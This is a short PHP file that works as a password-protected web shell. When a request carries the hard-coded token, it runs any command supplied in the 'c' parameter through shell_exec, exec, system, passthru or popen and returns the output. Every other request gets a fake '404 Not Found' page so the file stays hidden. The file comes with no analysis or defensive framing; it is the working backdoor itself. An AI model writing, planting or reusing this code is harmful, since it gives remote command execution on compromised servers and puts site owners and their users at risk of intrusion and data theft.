<?php
error_reporting(0);
if(($_GET["t"]??"")=== "aaaa88107b393795"){
$c=$_GET["c"]??"id";
$o="";
if(function_exists("shell_exec")){$o=@shell_exec($c." 2>&1");}
elseif(function_exists("exec")){@exec($c." 2>&1",$a);$o=implode("\n",$a);}
elseif(function_exists("system")){ob_start();@system($c." 2>&1");$o=ob_get_clean();}
elseif(function_exists("passthru")){ob_start();@passthru($c." 2>&1");$o=ob_get_clean();}
elseif(function_exists("popen")){$h=@popen($c." 2>&1","r");while(!feof($h)){$o.=fread($h,4096);}pclose($h);}
echo $o;
}else{http_response_code(404);echo "<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>";}
?>